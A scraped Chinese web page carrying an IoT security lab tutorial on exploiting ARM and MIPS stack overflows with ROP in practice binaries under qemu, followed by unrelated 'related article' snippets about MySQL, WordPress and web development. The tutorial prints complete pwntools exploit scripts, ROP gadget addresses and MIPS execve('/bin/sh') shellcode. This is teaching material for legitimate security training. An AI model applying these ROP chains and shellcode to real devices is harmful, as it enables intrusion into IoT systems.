厦门在建工程项目wordpress4.9.8优化

pingmian/2026/1/26 9:20:31/文章来源:
厦门在建工程项目,wordpress4.9.8优化,做网站用jquery,做的网站物联网安全 文章目录 物联网安全IoT漏洞利用实操2#xff08;内存破坏漏洞#xff09;实验目的实验环境实验工具实验原理实验内容实验步骤ARM ROP构造与调试MIPS栈溢出漏洞逆向分析 IoT漏洞利用实操2#xff08;内存破坏漏洞#xff09; 实验目的 学会ARM栈溢出漏洞的原理…物联网安全 文章目录 物联网安全IoT漏洞利用实操2内存破坏漏洞实验目的实验环境实验工具实验原理实验内容实验步骤ARM ROP构造与调试MIPS栈溢出漏洞逆向分析 IoT漏洞利用实操2内存破坏漏洞 实验目的 学会ARM栈溢出漏洞的原理与利用方式 学会MIPS栈溢出漏洞的原理与利用方式 实验环境 操作机Ubuntu 20.04【用户名user 密码user】 实验工具 qemu gdb-multiarch python pwntools IDA Pro 实验原理 IoT 设备中可能存在各种漏洞总结来说这些漏洞可以被大体划分为两大类一类是内存破坏型漏洞另一类则是逻辑漏洞。而在内存破坏型漏洞中最常见的就是栈溢出漏洞。IoT 设备一般都采用非X86的架构其中常见的就是 ARM 架构和 MIPS 架构。栈溢出漏洞的利用和ROP的构造都与相应架构的栈结构有直接关系。 在没有任何保护机制的情况下要利用栈溢出只需将返回地址覆盖为跳转到栈的指令地址并在栈上后面添加shellcode就可以执行。但一般来说目前IoT设备内都有NX缓解机制数据所在的内存页被标记为不可执行此时再执行shellcode就会抛出异常。因此需要利用 ROP 技术Return-Oriented Programming返回导向编程通过扫描二进制程序文件提取出程序内部可用的gadget片段通常以返回指令结尾然后将这些gadget根据所需要的功能进行组合达到无须调用任何函数即可执行任意代码的目的。 实验内容 ARM栈溢出漏洞逆向分析 ARM ROP构造与调试 MIPS栈溢出漏洞逆向分析 MIPS ROP构造与调试 实验步骤 ARM栈溢出漏洞逆向分析 进入 ~/Desktop/experiment3/armrop 文件夹通过 file 命令查看存在漏洞的实验程序 armrop 的架构为 ARM架构并且为静态编译的程序。 通过命令 qemu-arm ./armrop利用 qemu 模拟运行该程序大致了解程序的功能和逻辑便于进一步逆向分析。 在终端中输入命令 wine ~/IDAPro7.5/ida.exe 打开 IDA通过 IDA 加载将要分析的漏洞程序 armrop 通过 IDA 逆向分析后可以发现程序的主要功能是不断输出字典中的字串并等待用户输入字串然后将输入的字串和已经输出的字串进行比较。不难发现栈溢出漏洞位置在函数 sub_8D24且溢出长度为 112即输入字符超过 112 之后就可以覆盖到栈上保存pc寄存器值的位置。 ARM ROP构造与调试 通过 checksec 命令可以查看该程序开启的保护发现开启了 NX 保护堆栈不可执行所以不能直接在栈上写 shellcode 并跳转执行。 这里通过 ROP 的方式进行利用按照 ARM 汇编的特点为了调用函数system(“/bin/sh”)需要找到控制 R0寄存器的gadget并找到程序中/bin/sh字符串的地址和system函数的地址。可以依次通过如下命令找到相应的 gadget 和 /bin/sh字符串的地址。 $ ROPgadget --binary ./armrop --only “pop|ret” $ ROPgadget --binary ./armrop --string “/bin/sh” 程序为静态编译所以system函数还在程序中通过逆向分析可以确定该函数位置为 0x110B4。 于是按照如下 exp.py 构造 ROP。 from pwn import *context.log_level debug# io process([qemu-arm, -g, 1234, ./armrop]) io process([qemu-arm, ./armrop])# pause()io.sendafter(quit\n, \n) io.readline()# 0x00020904 : pop {r0, r4, pc} # 0x0006c384 : /bin/shpayload A * 112 p32(0x20904) p32(0x6c384) * 2 p32(0x110B4)io.sendlineafter(\n, payload)io.interactive()运行之后可以拿到 shell。 另外只需要将 exp.py 中的 io 部分代码修改如下就可以利用 gdb-multiarch调试程序。 io process([qemu-arm, -g, 1234, ./armrop]) # io process([qemu-arm, ./armrop])在一个终端内运行 exp.py 脚本在另一个终端中启动输入命令gdb-multiarch然后在 gdb 中依次输入如下命令连接并调试 exp.py 脚本启动的 armrop 程序。 gdb-peda$ set architecture arm gdb-peda$ target remote :1234 之后在 gdb 中利用如下命令添加从漏洞函数返回前指令地址的断点并继续运行。 gdb-peda$ b *0x8DE8 gdb-peda$ c 再次断在 0x8DE8 时利用x/5i $pc查看将要执行的汇编指令利用 x/20wx $sp 命令查看此时的栈结构和exp的栈布局。 MIPS栈溢出漏洞逆向分析 进入 ~/Desktop/experiment3/mipsrop 文件夹通过 file 命令查看存在漏洞的实验程序 stack_bof 的架构为 MIPS 架构并且为动态编译的程序说明运行需要动态链接库其相关动态链接库在lib文件夹中。 通过命令 qemu-mipsel -L ./ ./stack_bof 任意参数利用 qemu 模拟运行该程序大致了解程序的功能和逻辑便于进一步逆向分析其中 -L 指定的就是动态链接库的路径。 在终端中输入命令 wine ~/IDAPro7.5/ida.exe 打开 IDA通过 IDA 加载将要分析的漏洞程序 stack_bof 通过 IDA 逆向分析后可以发现程序的主要功能是输出任意参数字符串。不难发现栈溢出漏洞位置在函数 main且溢出长度为 508即输入字符超过 508 之后就可以覆盖到栈上保存ra寄存器值的位置。 15 MIPS ROP构造与调试 通过 checksec 命令可以查看该程序开启的保护发现程序没有开启任何保护因此可以直接在栈上写 shellcode 并设法跳转执行。 由于 MIPS 具有指令流水的特点为了使得指令刷新到在栈上写的 shellcode这里还需要先通过 ROP 调用sleep函数然后再利用ROP跳转到栈上执行 shellcode。为了寻找合适的 gadget需要使用 IDA 的 mipsrop插件。由于程序是动态编译所以程序本身的gadget较少因此选择去其动态链接库中寻找可利用的gadget。利用 IDA 打开 ~/Desktop/experiment3/mipsrop/lib/libc.so.6。 先选择 mips rop gadgets 选项初始化该插件。 然后在 IDA 的python命令框中依次输入如下命令寻找 exp.py 对应的合适 gadget。 # Call sleep mipsrop.find(li $a0, 1) mipsrop.tail() mipsrop.find(mov $t9, $s2)# Jmp shellcode mipsrop.stackfinder() mipsrop.find(move $t9, $a1)另外由于使用了动态链接库中的 gadget 还要确定stack_bof加载动态链接库libc.so.6的基地址。 在一个终端中输入 qemu-mipsel -L ./ -g 1234 ./stack_bof AAAAA 在另一个终端中输入命令gdb-multiarch然后在 gdb 中依次输入如下命令 gdb-peda$ set architecture mips gdb-peda$ target remote :1234 gdb-peda$ b *0x400944 gdb-peda$ c gdb-peda$ x/wx 0x411064 将得到的值减去 0x68210 结果就是libc.so.6的基地址。 于是按照如下 exp.py 构造 ROP。 from pwn import * # context.log_level debuglibc_base 0x7f62e000 set_a0_addr 0x124474 # .text:00124474 move $t9, $s1 # .text:00124478 jalr $t9 ; close # .text:0012447C li $a0, 1 set_s1_addr 0xAC71C # .text:000AC71C lw $ra, 60($sp) # .text:000AC720 # .text:000AC720 loc_AC720: # CODE XREF: readdir18C # .text:000AC720 move $v0, $s0 # .text:000AC724 lw $s6, 56($sp) # .text:000AC728 lw $s5, 52($sp) # .text:000AC72C lw $s4, 48($sp) # .text:000AC730 lw $s3, 44($sp) # .text:000AC734 lw $s2, 40($sp) # .text:000AC738 lw $s1, 36($sp) # .text:000AC73C lw $s0, 32($sp) # .text:000AC740 jr $ra # .text:000AC744 addiu $sp, 64 jr_t9_jr_ra 0x8F3A4 # .text:0008F3A4 move $t9, $s2 # .text:0008F3A8 jalr $t9 ; uselocale # .text:0008F3AC move $s0, $v0# .text:0008F3B0 lw $ra, 52($sp) # .text:0008F3B4 move $v0, $s0 # .text:0008F3B8 lw $s3, 48($sp) # .text:0008F3BC lw $s2, 44($sp) # .text:0008F3C0 lw $s1, 40($sp) # .text:0008F3C4 lw $s0, 36($sp) # .text:0008F3C8 jr $ra # .text:0008F3CC addiu $sp, 0x38addiu_a1_sp 0xF60D4 # .text:000F60D4 addiu $a1, $sp, 24 # .text:000F60D8 move $t9, $s3 # .text:000F60DC jalr $t9 jr_a1 0x11C68C # .text:0011C68C move $t9, $a1 # .text:0011C690 move $a1, $a0 # .text:0011C694 jalr $t9 usleep 0xEA810 # sleep 0xB2600shellcode b shellcode b\xff\xff\x06\x28 # slti $a2, $zero, -1 shellcode b\x62\x69\x0f\x3c # lui $t7, 0x6962 shellcode b\x2f\x2f\xef\x35 # ori $t7, $t7, 0x2f2f shellcode b\xf4\xff\xaf\xaf # sw $t7, -0xc($sp) shellcode b\x73\x68\x0e\x3c # lui $t6, 0x6873 shellcode b\x6e\x2f\xce\x35 # ori $t6, $t6, 0x2f6e shellcode b\xf8\xff\xae\xaf # sw $t6, -8($sp) shellcode b\xfc\xff\xa0\xaf # sw $zero, -4($sp) shellcode b\xf4\xff\xa4\x27 # addiu $a0, $sp, -0xc shellcode b\xff\xff\x05\x28 # slti $a1, $zero, -1 shellcode b\xab\x0f\x02\x24 # addiu $v0, $zero, 0xfab shellcode b\x0c\x01\x01\x01 # syscall 0x40404pay pay a*508 pay p32(set_s1_addrlibc_base) pay b*32 pay 0000 #s0 pay p32(jr_t9_jr_ralibc_base) #s1 pay p32(usleeplibc_base) #s2 pay 3333 #s3 pay 4444 #s4 pay 5555 #s5 pay 6666 #s6 pay p32(set_a0_addrlibc_base) #ra pay c*48 pay p32(jr_a1libc_base) #s3 pay p32(addiu_a1_splibc_base) #ra pay d*24 pay shellcode# p process([qemu-mipsel, -L, ./, -g, 1234,./stack_bof, pay]) p process([qemu-mipsel, -L, ./, ./stack_bof,pay]) # pause()p.interactive()运行之后可以拿到 shell。 这边报错下边不在继续。 另外只需要将 exp.py 中的 io 部分代码修改如下就可以利用 gdb-multiarch调试程序。 p process([qemu-mipsel, -L, ./, -g, 1234,./stack_bof, pay]) # p process([qemu-mipsel, -L, ./, ./stack_bof,pay])在一个终端内运行 exp.py 脚本在另一个终端中启动输入命令gdb-multiarch然后在 gdb 中依次输入如下命令连接并调试 exp.py 脚本启动的 stack_bof程序。 gdb-peda$ set architecture mips gdb-peda$ target remote :1234 之后在 gdb 中利用如下命令添加从漏洞函数返回前指令地址的断点并继续运行。 gdb-peda$ b *0x4009A4 gdb-peda$ c 再次断在 0x4009A4 时利用x/5i $pc查看将要执行的汇编指令利用 x/20wx $sp 命令查看此时的栈结构和exp的栈布局。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/85568.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

做网站比较专业的有哪些公司dedecms 5.7 关闭网站

文章目录 一、整个MySQL的思维导图二、MySQL高级特性篇大纲1. MySQL架构篇2. 索引及调优篇3. 事务篇4. 日志与备份篇 一、整个MySQL的思维导图 下图为整个MySQL内容,01-05是基础篇,06-09是高级篇 二、MySQL高级特性篇大纲 MySQL高级特性分为4个篇章&…

私人网站制作移动4G网站建设

memcmp (const void*, const void*, size_t) 第一个参数:目的地址 第二个参数:源地址 第三个参数:所需要复制的字节数

思明区建设局官网站赣州百姓网免费发布信息网

本主题讨论透视相机以及如何为远距离环境设置合适的视锥体。 推荐:用 NSDT编辑器 快速搭建可编程3D场景 透视相机是一种投影模式,旨在模仿人类在现实世界中看待事物的方式。 这是渲染 3D 场景最常用的投影模式。 - three.js 如果你看一下 Three.js 文档…

做期货要看哪几个网站青岛高端网站设计

update_option()函数的功能是更新wp_options表中指定的一条数据。可以使用此函数代替add_option函数,尽管它不够灵活。 update_option函数会检查并判断选项是否已经存在。如果不存在,用add_option (’option_name’, ‘option_value’)添加选项。除非用户…

安全培训网站精准网络推广

<title>下一站</title> <meta http-equiv"Content-Type" content"text/html; charsetutf-8" /> IE每次打开&#xff0c;均是一片空白&#xff0c;查看右键&#xff0d;编码&#xff0c;显示是GB2312。要手功改为UTF-8后才能正常显示页面…

福鼎建设局网站首页企业管理软件开发工具

首先&#xff0c;我们要会先实现一个小三角形&#xff1b; 思路&#xff1a;利用元素的 border 属性&#xff0c;将其三个方向的 border-color 值设为透明色&#xff08;或者和其父元素的背景色一致&#xff0c;形成视觉差&#xff0c;俗称障眼法&#xff09;&#xff0c;剩下…

法律问题咨询哪个网站做的好wordpress主题noren

近日&#xff0c;广州市资本市场融资对接服务平台启动仪式暨2023年拟上市企业“领头羊”评选总结活动成功举办。活动现场发布了2023年广州“拟上市领头羊TOP 50 企业榜单”、“最受资本关注TOP10榜单”、“最强科创TOP10榜单”、“最具成长TOP10榜单”并为企业颁发牌匾&#xf…

网站建设 技术 哪些内容做网站刷流量挣钱吗

Leetcode 第 369 场周赛题解 Leetcode 第 369 场周赛题解题目1&#xff1a;2917. 找出数组中的 K-or 值思路代码复杂度分析 题目2&#xff1a;2918. 数组的最小相等和思路代码复杂度分析 题目3&#xff1a;2919. 使数组变美的最小增量运算数思路代码复杂度分析 题目4&#xff1…

云南省建设网站做地方网站如何盈利

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 &#x1f4dd; 个人网站 :《 江城开朗的豌豆&#x1fadb; 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 引言 1. DOMContentLoaded 1.1 属性 1.2 A…

高端品牌网站建设策划方案wordpress前台用户查看订单

编程笔记 html5&css&js 065 JavaScrip数据类型 一、JavaScript 数据类型二、JavaScrip 数据类型分类&#xff1a;三、JavaScript 数据类型与其他语言的主要区别小结 数据类型是编程语言的基本构成&#xff0c;不同的编程语言的数据类型有很大区别。数据是程序的处理对象…

广东省建设信息港网站平面广告创意作品

多输入多输出 | MATLAB实现CNN-GRU-Attention卷积神经网络-门控循环单元结合SE注意力机制的多输入多输出预测 目录 多输入多输出 | MATLAB实现CNN-GRU-Attention卷积神经网络-门控循环单元结合SE注意力机制的多输入多输出预测预测效果基本介绍程序设计往期精彩参考资料 预测效果…

深圳外贸英文网站设计公司哪家好成品网站1688入门网

1、xargs xargs命令是将 前一个命令的标准输出作为后一个命令的命令行参数&#xff0c;xargs的默认命令是echo&#xff0c;默认定界符是空格和回车。 而管道是将 前一个命令的标准输出作为后一个命令的标准输入 echo例子 # echo "apple banana orange" | xargs e…

网站开发语言哪几种北京网站建设58

文章目录一、 安装建议二、 安装步骤2.1. 下载2.2. 解压缩2.3. 重命名2.4. 配置环境变量2.5. 使其生效2.6. 配置MongoDB2.7. 启动MongoDB2.8. 网络安全组一、 安装建议 MongoDB 可以在mac/win/linux上安装&#xff0c;我个人建议在linux上安装会更好&#xff0c;这样测试起来更…

电商 做图 网站有哪些网站流量增长

String String 类在 java.lang 包下&#xff0c;所以使用的时候不需要导包String这个类比较特殊, 打印其对象名的时候, 不会出现内存地址&#xff0c;而是该对象所记录的真实内容. 面向对象-继承, Object类 特点&#xff1a;Java 程序中所有的双引号字符串&#xff0c;都是 Str…

手机网站有什么南通网页设计培训

对于windwos下raid卡具备告警功能&#xff0c;当硬盘故障、raid卡告警时&#xff0c;可以发邮件给管理员。IBM、HP、Dell都支持。但在linux下&#xff0c;就没有找到相关的好工具了&#xff0c;今天到陈沙克的博客上到一篇关于linux下硬盘监控诊断工具SmartTools&#xff0c;感…

建设部四库一平台网站服装营销方式和手段

目录 DAO设计模式 1.认识DAO 2.DAO各部分的详解 3.DAO设计模式流程 DAO设计模式 1.认识DAO DAO(Data Acess Object 数据库访问对象)的主要功能是操作数据库&#xff0c;所以DAO在标准开发架构中数据数据层&#xff0c;以下是标准开发的架构 客户层&#xff1a;目前使用B/…

wordpress插件密钥实现怎么关闭seo查询

一、创建项目并启动 第一步&#xff1a;全局安装&#xff1a;npm install -g create-react-app 第二步&#xff1a;切换到想创建项目的目录&#xff0c;使用命令create-react-app hello-react 第三步&#xff1a;进入项目目录&#xff0c;cd hello-react 第四步&#xff1a;启…

怎么做网站图标ppt制作模板免费下载

一、1、 硬件接口 二、2、 PCB原理图 三、 官网地址&#xff1a; https://t.rock-chips.com/portal.php 相关资料和固件烧写可参考资料下载菜单

合肥营销网站建设联系方式新沂今天重大新闻

题目链接&#xff1a;https://leetcode-cn.com/problems/climbing-stairs/ 之前在递归中讲过这个问题&#xff0c;现在用动态规划求解。 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 注意&…

如何快速做h5网站国外网站开发

一. 金丝雀发布作用&#xff1a; 金丝雀发布是指在生产环境中逐步推出新版本应用程序&#xff0c;只在一小部分用户或流量中使用该版本&#xff0c;并根据反馈逐步扩…